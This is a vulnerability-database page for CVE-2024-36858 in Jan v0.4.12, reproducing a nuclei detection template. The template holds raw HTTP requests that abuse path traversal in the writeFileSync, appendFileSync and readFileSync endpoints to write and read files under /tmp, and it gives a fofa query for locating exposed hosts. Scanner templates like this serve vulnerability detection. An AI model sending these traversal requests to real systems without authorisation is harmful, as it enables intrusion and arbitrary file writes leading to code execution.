Lucene search
K

Jan v0.4.12 - Arbitrary File Upload

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 15 Views

Arbitrary file upload vulnerability in Jan v0.4.12 allows code execution via crafted files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-36858
16 Jun 202521:02
circl
CVE
CVE-2024-36858
4 Jun 202418:26
cve
Cvelist
CVE-2024-36858
4 Jun 202418:26
cvelist
Github Security Blog
Jan path traversal vulnerability
4 Jun 202421:32
github
NVD
CVE-2024-36858
4 Jun 202419:20
nvd
OSV
CVE-2024-36858
4 Jun 202419:20
osv
OSV
GHSA-QFJH-MVQ6-C5P8 Jan path traversal vulnerability
4 Jun 202421:32
osv
Positive Technologies
PT-2024-27183 · Jan · Jan
4 Jun 202400:00
ptsecurity
RedhatCVE
CVE-2024-36858
14 Feb 202505:08
redhatcve
VulnCheck KEV
VulnCheck KEV: CVE-2024-36858
15 Aug 202400:00
vulncheck_kev
Rows per page
id: CVE-2024-36858

info:
  name: Jan v0.4.12 - Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
  impact: |
    Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
  remediation: |
    Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
  reference:
    - https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-36858
    cwe-id: CWE-434
    epss-score: 0.0306
    epss-percentile: 0.86008
    cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
  metadata:
    vendor: homebrew
    product: jan
    fofa-query: icon_hash="-165268926"
  tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(6))}}"
  string: "{{rand_text_alpha(10)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Jan</title>")'
          - "contains(content_type, 'text/html')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /v1/app/writeFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["/../../../../../tmp/{{filename}}.txt","{{randstr}}"]

      - |
        POST /v1/app/appendFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"]

      - |
        POST /v1/app/readFileSync HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}
        contentType: application/json
        Content-Type: text/plain;charset=UTF-8
        Origin: {{RootURL}}

        ["file:/../../../../../../tmp/{{filename}}.txt","utf-8"]

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_3, "{{string}}")'
        condition: and
# digest: 4a0a00473045022100d121ae44761ec84970fa68568d0c7371c0b7aae7f27331c4d758b31ac374813b0220720e1e7eb9df3c8912ec9e0fb73ee93b6f4d6858b2594b69dd605c14780e0e99:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.19.8
EPSS0.0306
SSVC
15